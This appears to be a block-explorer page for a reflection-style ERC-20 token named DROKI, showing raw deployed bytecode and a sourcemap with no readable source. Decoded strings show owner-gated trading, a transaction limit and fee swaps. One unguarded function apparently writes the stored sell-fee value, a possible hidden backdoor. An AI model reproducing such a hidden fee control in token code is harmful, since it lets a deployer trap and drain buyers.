b600052601160045260246000fd5b60ff818116838216019081111561045b5761045b611751565b808202811582820484141761045b5761045b611751565b6000826117b457634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561045b5761045b611751565b6000602082840312156117de57600080fd5b8151610e0f81611495565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118395784516001600160a01b031683529383019391830191600101611814565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561045b5761045b61175156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203abb7d7e5a1f1c8331f61b988649fe54a8e1e9611c94bca4557ebf15d956d74764736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101445760003560e01c806370a08231116100b65780638f9a55c01161006f5780638f9a55c01461038e57806395d89b4114610150578063a9059cbb146103a4578063b70143c9146103c4578063dd62ed3e146103e4578063f2fde38b1461042a57600080fd5b806370a08231146102f0578063715018a6146103105780637d1db4a5146103255780638a8c523c1461033b5780638c996fef146103505780638da5cb5b1461037057600080fd5b80632fd689e3116101085780632fd689e314610239578063313ce5671461024f57806349bd5a5e1461026b57806356cd40e71461028b5780636d8aa8f8146102a25780636fc3eaec146102db57600080fd5b806306fdde0314610150578063095ea7b31461018d5780631694505e146101bd57806318160ddd146101f557806323b872dd1461021957600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50604080518082018252600581526444524f4b4960d81b602082015290516101849190611447565b60405180910390f35b34801561019957600080fd5b506101ad6101a83660046114ad565b61044a565b6040519015158152602001610184565b3480156101c957600080fd5b506013546101dd906001600160a01b031681565b6040516001600160a01b039091168152602001610184565b34801561020157600080fd5b5066038d7ea4c680005b604051908152602001610184565b34801561022557600080fd5b506101ad6102343660046114d9565b610461565b34801561024557600080fd5b5061020b60175481565b34801561025b57600080fd5b5060405160098152602001610184565b34801561027757600080fd5b506014546101dd906001600160a01b031681565b34801561029757600080fd5b506102a06104ca565b005b3480156102ae57600080fd5b506102a06102bd36600461151a565b60148054911515600160b01b0260ff60b01b19909216919091179055565b3480156102e757600080fd5b506102a061050a565b3480156102fc57600080fd5b5061020b61030b36600461153c565b610515565b34801561031c57600080fd5b506102a0610537565b34801561033157600080fd5b5061020b60155481565b34801561034757600080fd5b506102a06105ab565b34801561035c57600080fd5b506101ad61036b3660046115c1565b6105ea565b34801561037c57600080fd5b506000546001600160a01b03166101dd565b34801561039a57600080fd5b5061020b60165481565b3480156103b057600080fd5b506101ad6103bf3660046114ad565b610632565b3480156103d057600080fd5b506102a06103df3660046116b4565b61063f565b3480156103f057600080fd5b5061020b6103ff3660046116cd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043657600080fd5b506102a061044536600461153c565b610674565b600061045733848461075e565b5060015b92915050565b600061046e848484610882565b6104c084336104bb8560405180606001604052806028815260200161186e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d1a565b61075e565b5060019392505050565b6000546001600160a01b031633146104fd5760405162461bcd60e51b81526004016104f490611706565b60405180910390fd5b66038d7ea4c68000601555565b61051347610d54565b565b6001600160a01b03811660009081526002602052604081205461045b90610d92565b6000546001600160a01b031633146105615760405162461bcd60e51b81526004016104f490611706565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105d55760405162461bcd60e51b81526004016104f490611706565b6014805460ff60a01b1916600160a01b179055565b6060810151608090810151015160009060611061060657600080fd5b6001600260006106168284611767565b5050506060909201516080908101510151600755506001919050565b6000610457338484610882565b600061064a30610515565b90506000606461065a8484611780565b6106649190611797565b905061066f81610e16565b505050565b6000546001600160a01b0316331461069e5760405162461bcd60e51b81526004016104f490611706565b6001600160a01b0381166107035760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f4565b6001600160a01b0382166108215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f4565b6001600160a01b0382166109485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f4565b600081116109aa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f4565b6000546001600160a01b038481169116148015906109d657506000546001600160a01b03838116911614155b15610c0d57601454600160a01b900460ff16610a6f576000546001600160a01b03848116911614610a6f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104f4565b6014546001600160a01b03838116911614801590610a9b57506012546001600160a01b03838116911614155b8015610ab557506010546001600160a01b03838116911614155b8015610aca57506001600160a01b0382163014155b8015610ae157506001600160a01b03821661dead14155b15610b3857601554811115610b385760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016104f4565b6000610b4330610515565b6017549091508082101590610b59906002611780565b50808015610b715750601454600160a81b900460ff16155b8015610b8b57506014546001600160a01b03868116911614155b8015610ba05750601454600160b01b900460ff165b8015610bc557506001600160a01b03851660009081526005602052604090205460ff16155b8015610bea57506001600160a01b03841660009081526005602052604090205460ff16155b15610c0a57610bf882610e16565b478015610c0857610c0881610d54565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610c4f57506001600160a01b03831660009081526005602052604090205460ff165b80610c8157506014546001600160a01b03858116911614801590610c8157506014546001600160a01b03848116911614155b15610c8e57506000610d08565b6014546001600160a01b038581169116148015610cb957506013546001600160a01b03848116911614155b15610ccb57600954600c55600a54600d555b6014546001600160a01b038481169116148015610cf657506013546001600160a01b03858116911614155b15610d0857600b54600c55600754600d555b610d1484848484610f90565b50505050565b60008184841115610d3e5760405162461bcd60e51b81526004016104f49190611447565b506000610d4b84866117b9565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610d8e573d6000803e3d6000fd5b5050565b6000600654821115610df95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f4565b6000610e03610fbe565b9050610e0f8382610fe1565b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e5e57610e5e61173b565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610eb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edb91906117cc565b81600181518110610eee57610eee61173b565b6001600160a01b039283166020918202929092010152601354610f14913091168461075e565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f4d9085906000908690309042906004016117e9565b600060405180830381600087803b158015610f6757600080fd5b505af1158015610f7b573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80610f9d57610f9d611023565b610fa8848484611051565b80610d1457610d14600e54600c55600f54600d55565b6000806000610fcb611148565b9092509050610fda8282610fe1565b9250505090565b6000610e0f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611186565b600c541580156110335750600d54155b1561103a57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611063876111b4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110959087611211565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546110c49086611253565b6001600160a01b0389166000908152600260205260409020556110e6816112b2565b6110f084836112fc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161113591815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c680006111628282610fe1565b82101561117d5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836111a75760405162461bcd60e51b81526004016104f49190611447565b506000610d4b8486611797565b60008060008060008060008060006111d18a600c54600d54611320565b92509250925060006111e1610fbe565b905060008060006111f48e878787611375565b919e509c509a509598509396509194505050505091939550919395565b6000610e0f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d1a565b600080611260838561185a565b905083811015610e0f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f4565b60006112bc610fbe565b905060006112ca83836113c5565b306000908152600260205260409020549091506112e79082611253565b30600090815260026020526040902055505050565b6006546113099083611211565b6006556008546113199082611253565b6008555050565b600080808061133a606461133489896113c5565b90610fe1565b9050600061134d60646113348a896113c5565b905060006113658261135f8b86611211565b90611211565b9992985090965090945050505050565b600080808061138488866113c5565b9050600061139288876113c5565b905060006113a088886113c5565b905060006113b28261135f8686611211565b939b939a50919850919650505050505050565b6000826000036113d75750600061045b565b60006113e38385611780565b9050826113f08583611797565b14610e0f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f4565b600060208083528351808285015260005b8181101561147457858101830151858201604001528201611458565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114aa57600080fd5b50565b600080604083850312156114c057600080fd5b82356114cb81611495565b946020939093013593505050565b6000806000606084860312156114ee57600080fd5b83356114f981611495565b9250602084013561150981611495565b929592945050506040919091013590565b60006020828403121561152c57600080fd5b81358015158114610e0f57600080fd5b60006020828403121561154e57600080fd5b8135610e0f81611495565b60405160a0810167ffffffffffffffff8111828210171561158a57634e487b7160e01b600052604160045260246000fd5b60405290565b60405160c0810167ffffffffffffffff8111828210171561158a57634e487b7160e01b600052604160045260246000fd5b60006112c08083850312156115d557600080fd5b601f84818501126115e557600080fd5b6115ed611559565b9184019180868411156115ff57600080fd5b855b848110156116a95787848201126116185760008081fd5b611620611590565b806103c083018a8111156116345760008081fd5b835b81811015611695578b8882011261164d5760008081fd5b611655611559565b8060a083018e8111156116685760008081fd5b835b8181101561168257803584526020938401930161166a565b505085525060209093019260a001611636565b50508452506020909201916103c001611601565b509695505050505050565b6000602082840312156116c657600080fd5b5035919050565b600080604083850312156116e057600080fd5b82356116eb81611495565b915060208301356116fb81611495565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60ff818116838216019081111561045b5761045b611751565b808202811582820484141761045b5761045b611751565b6000826117b457634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561045b5761045b611751565b6000602082840312156117de57600080fd5b8151610e0f81611495565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118395784516001600160a01b031683529383019391830191600101611814565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561045b5761045b61175156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203abb7d7e5a1f1c8331f61b988649fe54a8e1e9611c94bca4557ebf15d956d74764736f6c63430008130033

Deployed Bytecode Sourcemap

4152:12215:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6621:83;;;;;;;;;;-1:-1:-1;6691:5:0;;;;;;;;;;;-1:-1:-1;;;6691:5:0;;;;6621:83;;;;6691:5;6621:83;:::i;:::-;;;;;;;;7546:193;;;;;;;;;;-1:-1:-1;7546:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7546:193:0;1023:187:1;5415:41:0;;;;;;;;;;-1:-1:-1;5415:41:0;;;;-1:-1:-1;;;;;5415:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5415:41:0;1215:229:1;6898:95:0;;;;;;;;;;-1:-1:-1;4694:15:0;6898:95;;;1595:25:1;;;1583:2;1568:18;6898:95:0;1449:177:1;7747:446:0;;;;;;;;;;-1:-1:-1;7747:446:0;;;;;:::i;:::-;;:::i;5715:51::-;;;;;;;;;;;;;;;;6807:83;;;;;;;;;;-1:-1:-1;6807:83:0;;4368:1;2234:36:1;;2222:2;2207:18;6807:83:0;2092:184:1;5463:28:0;;;;;;;;;;-1:-1:-1;5463:28:0;;;;-1:-1:-1;;;;;5463:28:0;;;15843:84;;;;;;;;;;;;;:::i;:::-;;12490:94;;;;;;;;;;-1:-1:-1;12490:94:0;;;;;:::i;:::-;12550:11;:26;;;;;-1:-1:-1;;;12550:26:0;-1:-1:-1;;;;12550:26:0;;;;;;;;;12490:94;12166:85;;;;;;;;;;;;;:::i;7001:138::-;;;;;;;;;;-1:-1:-1;7001:138:0;;;;;:::i;:::-;;:::i;1641:148::-;;;;;;;;;;;;;:::i;5610:44::-;;;;;;;;;;;;;;;;11479:81;;;;;;;;;;;;;:::i;13506:270::-;;;;;;;;;;-1:-1:-1;13506:270:0;;;;;:::i;:::-;;:::i;1427:79::-;;;;;;;;;;-1:-1:-1;1465:7:0;1492:6;-1:-1:-1;;;;;1492:6:0;1427:79;;5661:47;;;;;;;;;;;;;;;;7147:199;;;;;;;;;;-1:-1:-1;7147:199:0;;;;;:::i;:::-;;:::i;12259:223::-;;;;;;;;;;-1:-1:-1;12259:223:0;;;;;:::i;:::-;;:::i;7354:184::-;;;;;;;;;;-1:-1:-1;7354:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7503:18:0;;;7471:7;7503:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7354:184;1797:244;;;;;;;;;;-1:-1:-1;1797:244:0;;;;;:::i;:::-;;:::i;7546:193::-;7648:4;7670:39;266:10;7693:7;7702:6;7670:8;:39::i;:::-;-1:-1:-1;7727:4:0;7546:193;;;;;:::o;7747:446::-;7879:4;7896:36;7906:6;7914:9;7925:6;7896:9;:36::i;:::-;7943:220;7966:6;266:10;8014:138;8070:6;8014:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8014:19:0;;;;;;:11;:19;;;;;;;;266:10;8014:33;;;;;;;;;;:37;:138::i;:::-;7943:8;:220::i;:::-;-1:-1:-1;8181:4:0;7747:446;;;;;:::o;15843:84::-;1554:6;;-1:-1:-1;;;;;1554:6:0;266:10;1554:22;1546:67;;;;-1:-1:-1;;;1546:67:0;;;;;;;:::i;:::-;;;;;;;;;4694:15:::1;15897:12;:22:::0;15843:84::o;12166:85::-;12208:35;12221:21;12208:12;:35::i;:::-;12166:85::o;7001:138::-;-1:-1:-1;;;;;7114:16:0;;7067:7;7114:16;;;:7;:16;;;;;;7094:37;;:19;:37::i;1641:148::-;1554:6;;-1:-1:-1;;;;;1554:6:0;266:10;1554:22;1546:67;;;;-1:-1:-1;;;1546:67:0;;;;;;;:::i;:::-;1748:1:::1;1732:6:::0;;1711:40:::1;::::0;-1:-1:-1;;;;;1732:6:0;;::::1;::::0;1711:40:::1;::::0;1748:1;;1711:40:::1;1779:1;1762:19:::0;;-1:-1:-1;;;;;;1762:19:0::1;::::0;;1641:148::o;11479:81::-;1554:6;;-1:-1:-1;;;;;1554:6:0;266:10;1554:22;1546:67;;;;-1:-1:-1;;;1546:67:0;;;;;;;:::i;:::-;11534:11:::1;:18:::0;;-1:-1:-1;;;;11534:18:0::1;-1:-1:-1::0;;;11534:18:0::1;::::0;;11479:81::o;13506:270::-;13604:9;;;;:12;;;;;:15;;13579:4;;13621:2;-1:-1:-1;13596:28:0;;;;;;13648:1;13673;13635:10;13699:9;13673:1;13648;13699:9;:::i;:::-;-1:-1:-1;;;13731:9:0;;;;;:12;;;;;:15;;13719:9;:27;-1:-1:-1;13764:4:0;;;-1:-1:-1;13506:270:0:o;7147:199::-;7252:4;7274:42;266:10;7298:9;7309:6;7274:9;:42::i;12259:223::-;12316:28;12347:24;12365:4;12347:9;:24::i;:::-;12316:55;-1:-1:-1;12382:18:0;12432:3;12403:28;12424:7;12316:55;12403:28;:::i;:::-;:32;;;;:::i;:::-;12382:53;;12446:28;12463:10;12446:16;:28::i;:::-;12305:177;;12259:223;:::o;1797:244::-;1554:6;;-1:-1:-1;;;;;1554:6:0;266:10;1554:22;1546:67;;;;-1:-1:-1;;;1546:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1886:22:0;::::1;1878:73;;;::::0;-1:-1:-1;;;1878:73:0;;7757:2:1;1878:73:0::1;::::0;::::1;7739:21:1::0;7796:2;7776:18;;;7769:30;7835:34;7815:18;;;7808:62;-1:-1:-1;;;7886:18:1;;;7879:36;7932:19;;1878:73:0::1;7555:402:1::0;1878:73:0::1;1988:6;::::0;;1967:38:::1;::::0;-1:-1:-1;;;;;1967:38:0;;::::1;::::0;1988:6;::::1;::::0;1967:38:::1;::::0;::::1;2016:6;:17:::0;;-1:-1:-1;;;;;;2016:17:0::1;-1:-1:-1::0;;;;;2016:17:0;;;::::1;::::0;;;::::1;::::0;;1797:244::o;8904:369::-;-1:-1:-1;;;;;9031:19:0;;9023:68;;;;-1:-1:-1;;;9023:68:0;;8164:2:1;9023:68:0;;;8146:21:1;8203:2;8183:18;;;8176:30;8242:34;8222:18;;;8215:62;-1:-1:-1;;;8293:18:1;;;8286:34;8337:19;;9023:68:0;7962:400:1;9023:68:0;-1:-1:-1;;;;;9110:21:0;;9102:68;;;;-1:-1:-1;;;9102:68:0;;8569:2:1;9102:68:0;;;8551:21:1;8608:2;8588:18;;;8581:30;8647:34;8627:18;;;8620:62;-1:-1:-1;;;8698:18:1;;;8691:32;8740:19;;9102:68:0;8367:398:1;9102:68:0;-1:-1:-1;;;;;9181:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9233:32;;1595:25:1;;;9233:32:0;;1568:18:1;9233:32:0;;;;;;;8904:369;;;:::o;9281:2190::-;-1:-1:-1;;;;;9403:18:0;;9395:68;;;;-1:-1:-1;;;9395:68:0;;8972:2:1;9395:68:0;;;8954:21:1;9011:2;8991:18;;;8984:30;9050:34;9030:18;;;9023:62;-1:-1:-1;;;9101:18:1;;;9094:35;9146:19;;9395:68:0;8770:401:1;9395:68:0;-1:-1:-1;;;;;9482:16:0;;9474:64;;;;-1:-1:-1;;;9474:64:0;;9378:2:1;9474:64:0;;;9360:21:1;9417:2;9397:18;;;9390:30;9456:34;9436:18;;;9429:62;-1:-1:-1;;;9507:18:1;;;9500:33;9550:19;;9474:64:0;9176:399:1;9474:64:0;9566:1;9557:6;:10;9549:64;;;;-1:-1:-1;;;9549:64:0;;9782:2:1;9549:64:0;;;9764:21:1;9821:2;9801:18;;;9794:30;9860:34;9840:18;;;9833:62;-1:-1:-1;;;9911:18:1;;;9904:39;9960:19;;9549:64:0;9580:405:1;9549:64:0;1465:7;1492:6;-1:-1:-1;;;;;9630:15:0;;;1492:6;;9630:15;;;;:32;;-1:-1:-1;1465:7:0;1492:6;-1:-1:-1;;;;;9649:13:0;;;1492:6;;9649:13;;9630:32;9626:1183;;;9719:11;;-1:-1:-1;;;9719:11:0;;;;9714:144;;1465:7;1492:6;-1:-1:-1;;;;;9759:15:0;;;1492:6;;9759:15;9751:91;;;;-1:-1:-1;;;9751:91:0;;10192:2:1;9751:91:0;;;10174:21:1;10231:2;10211:18;;;10204:30;10270:34;10250:18;;;10243:62;10341:33;10321:18;;;10314:61;10392:19;;9751:91:0;9990:427:1;9751:91:0;9883:13;;-1:-1:-1;;;;;9877:19:0;;;9883:13;;9877:19;;;;:42;;-1:-1:-1;9906:13:0;;-1:-1:-1;;;;;9900:19:0;;;9906:13;;9900:19;;9877:42;:71;;;;-1:-1:-1;9929:19:0;;-1:-1:-1;;;;;9923:25:0;;;9929:19;;9923:25;;9877:71;:94;;;;-1:-1:-1;;;;;;9952:19:0;;9966:4;9952:19;;9877:94;:118;;;;-1:-1:-1;;;;;;9975:20:0;;9988:6;9975:20;;9877:118;9874:223;;;10034:12;;10024:6;:22;;10016:63;;;;-1:-1:-1;;;10016:63:0;;10624:2:1;10016:63:0;;;10606:21:1;10663:2;10643:18;;;10636:30;10702;10682:18;;;10675:58;10750:18;;10016:63:0;10422:352:1;10016:63:0;10113:28;10144:24;10162:4;10144:9;:24::i;:::-;10222:19;;10113:55;;-1:-1:-1;10198:43:0;;;;;10285:21;;10305:1;10285:21;:::i;:::-;10261:45;10419:7;:18;;;;-1:-1:-1;10431:6:0;;-1:-1:-1;;;10431:6:0;;;;10430:7;10419:18;:43;;;;-1:-1:-1;10449:13:0;;-1:-1:-1;;;;;10441:21:0;;;10449:13;;10441:21;;10419:43;:58;;;;-1:-1:-1;10466:11:0;;-1:-1:-1;;;10466:11:0;;;;10419:58;:87;;;;-1:-1:-1;;;;;;10482:24:0;;;;;;:18;:24;;;;;;;;10481:25;10419:87;:114;;;;-1:-1:-1;;;;;;10511:22:0;;;;;;:18;:22;;;;;;;;10510:23;10419:114;10415:383;;;10554:38;10571:20;10554:16;:38::i;:::-;10640:21;10684:22;;10680:103;;10731:32;10744:18;10731:12;:32::i;:::-;10535:263;10415:383;9664:1145;;9626:1183;-1:-1:-1;;;;;10885:24:0;;10821:12;10885:24;;;:18;:24;;;;;;10836:4;;10885:24;;;:50;;-1:-1:-1;;;;;;10913:22:0;;;;;;:18;:22;;;;;;;;10885:50;10884:102;;;-1:-1:-1;10949:13:0;;-1:-1:-1;;;;;10941:21:0;;;10949:13;;10941:21;;;;:44;;-1:-1:-1;10972:13:0;;-1:-1:-1;;;;;10966:19:0;;;10972:13;;10966:19;;10941:44;10880:530;;;-1:-1:-1;11013:5:0;10880:530;;;11064:13;;-1:-1:-1;;;;;11056:21:0;;;11064:13;;11056:21;:55;;;;-1:-1:-1;11095:15:0;;-1:-1:-1;;;;;11081:30:0;;;11095:15;;11081:30;;11056:55;11053:164;;;11144:14;;11132:9;:26;11192:9;;11177:12;:24;11053:164;11243:13;;-1:-1:-1;;;;;11237:19:0;;;11243:13;;11237:19;:55;;;;-1:-1:-1;11276:15:0;;-1:-1:-1;;;;;11260:32:0;;;11276:15;;11260:32;;11237:55;11233:166;;;11325:15;;11313:9;:27;11374:9;;11359:12;:24;11233:166;11422:41;11437:4;11443:2;11447:6;11455:7;11422:14;:41::i;:::-;9384:2087;9281:2190;;;:::o;2403:224::-;2523:7;2559:12;2551:6;;;;2543:29;;;;-1:-1:-1;;;2543:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2583:9:0;2595:5;2599:1;2595;:5;:::i;:::-;2583:17;2403:224;-1:-1:-1;;;;;2403:224:0:o;12059:99::-;12116:17;;:34;;-1:-1:-1;;;;;12116:17:0;;;;:34;;;;;12143:6;;12116:17;:34;:17;:34;12143:6;12116:17;:34;;;;;;;;;;;;;;;;;;;;;12059:99;:::o;8201:323::-;8296:7;8354;;8343;:18;;8321:110;;;;-1:-1:-1;;;8321:110:0;;11114:2:1;8321:110:0;;;11096:21:1;11153:2;11133:18;;;11126:30;11192:34;11172:18;;;11165:62;-1:-1:-1;;;11243:18:1;;;11236:40;11293:19;;8321:110:0;10912:406:1;8321:110:0;8442:19;8464:10;:8;:10::i;:::-;8442:32;-1:-1:-1;8492:24:0;:7;8442:32;8492:11;:24::i;:::-;8485:31;8201:323;-1:-1:-1;;;8201:323:0:o;11568:483::-;5860:6;:13;;-1:-1:-1;;;;5860:13:0;-1:-1:-1;;;5860:13:0;;;11670:16:::1;::::0;;11684:1:::1;11670:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11670:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11670:16:0::1;11646:40;;11715:4;11697;11702:1;11697:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11697:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11741:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11741:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11697:7;;11741:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11731:4;11736:1;11731:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11731:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11806:15:::1;::::0;11774:62:::1;::::0;11791:4:::1;::::0;11806:15:::1;11824:11:::0;11774:8:::1;:62::i;:::-;11847:15;::::0;:196:::1;::::0;-1:-1:-1;;;11847:196:0;;-1:-1:-1;;;;;11847:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11928:11;;11847:15:::1;::::0;11970:4;;11997::::1;::::0;12017:15:::1;::::0;11847:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5896:6:0;:14;;-1:-1:-1;;;;5896:14:0;;;-1:-1:-1;;;;11568:483:0:o;12592:282::-;12748:7;12743:28;;12757:14;:12;:14::i;:::-;12782:44;12800:6;12808:9;12819:6;12782:17;:44::i;:::-;12842:7;12837:29;;12851:15;8830:17;;8818:9;:29;8873:15;;8858:12;:30;8774:122;15935:164;15977:7;15998:15;16015;16034:19;:17;:19::i;:::-;15997:56;;-1:-1:-1;15997:56:0;-1:-1:-1;16071:20:0;15997:56;;16071:11;:20::i;:::-;16064:27;;;;15935:164;:::o;2889:132::-;2947:7;2974:39;2978:1;2981;2974:39;;;;;;;;;;;;;;;;;:3;:39::i;8532:234::-;8579:9;;:14;:35;;;;-1:-1:-1;8597:12:0;;:17;8579:35;8575:48;;;8532:234::o;8575:48::-;8655:9;;;8635:17;:29;8693:12;;;8675:15;:30;-1:-1:-1;8718:13:0;;;;8742:16;8532:234::o;12882:610::-;13029:15;13059:23;13097:12;13124:23;13162:12;13189:13;13216:19;13227:7;13216:10;:19::i;:::-;-1:-1:-1;;;;;13264:15:0;;;;;;:7;:15;;;;;;13014:221;;-1:-1:-1;13014:221:0;;-1:-1:-1;13014:221:0;;-1:-1:-1;13014:221:0;-1:-1:-1;13014:221:0;-1:-1:-1;13014:221:0;-1:-1:-1;13264:28:0;;13014:221;13264:19;:28::i;:::-;-1:-1:-1;;;;;13246:15:0;;;;;;;:7;:15;;;;;;:46;;;;13324:18;;;;;;;:39;;13347:15;13324:22;:39::i;:::-;-1:-1:-1;;;;;13303:18:0;;;;;;:7;:18;;;;;:60;13374:16;13384:5;13374:9;:16::i;:::-;13401:23;13413:4;13419;13401:11;:23::i;:::-;13457:9;-1:-1:-1;;;;;13440:44:0;13449:6;-1:-1:-1;;;;;13440:44:0;;13468:15;13440:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;13440:44:0;;;;;;;;13003:489;;;;;;12882:610;;;:::o;16107:257::-;16205:7;;16158;;;;4694:15;16273:20;16205:7;4694:15;16273:11;:20::i;:::-;16263:7;:30;16259:61;;;-1:-1:-1;;16303:7:0;;;4694:15;;-1:-1:-1;16107:257:0;-1:-1:-1;16107:257:0:o;16259:61::-;16339:7;;16348;;-1:-1:-1;16107:257:0;-1:-1:-1;16107:257:0:o;3029:223::-;3149:7;3184:12;3177:5;3169:28;;;;-1:-1:-1;;;3169:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3208:9:0;3220:5;3224:1;3220;:5;:::i;14196:620::-;14296:7;14318;14340;14362;14384;14406;14442:23;14467:12;14481:13;14511:45;14523:7;14532:9;;14543:12;;14511:11;:45::i;:::-;14441:115;;;;;;14567:19;14589:10;:8;:10::i;:::-;14567:32;;14611:15;14628:23;14653:12;14682:46;14694:7;14703:4;14709:5;14716:11;14682;:46::i;:::-;14610:118;;-1:-1:-1;14610:118:0;-1:-1:-1;14610:118:0;-1:-1:-1;14779:15:0;;-1:-1:-1;14796:4:0;;-1:-1:-1;14802:5:0;;-1:-1:-1;;;;;14196:620:0;;;;;;;:::o;2259:136::-;2317:7;2344:43;2348:1;2351;2344:43;;;;;;;;;;;;;;;;;:3;:43::i;2072:179::-;2130:7;;2162:5;2166:1;2162;:5;:::i;:::-;2150:17;;2191:1;2186;:6;;2178:46;;;;-1:-1:-1;;;2178:46:0;;12896:2:1;2178:46:0;;;12878:21:1;12935:2;12915:18;;;12908:30;12974:29;12954:18;;;12947:57;13021:18;;2178:46:0;12694:351:1;13785:211:0;13838:19;13860:10;:8;:10::i;:::-;13838:32;-1:-1:-1;13881:13:0;13897:22;:5;13838:32;13897:9;:22::i;:::-;13971:4;13955:22;;;;:7;:22;;;;;;13881:38;;-1:-1:-1;13955:33:0;;13881:38;13955:26;:33::i;:::-;13946:4;13930:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;13785:211:0:o;14004:147::-;14082:7;;:17;;14094:4;14082:11;:17::i;:::-;14072:7;:27;14123:10;;:20;;14138:4;14123:14;:20::i;:::-;14110:10;:33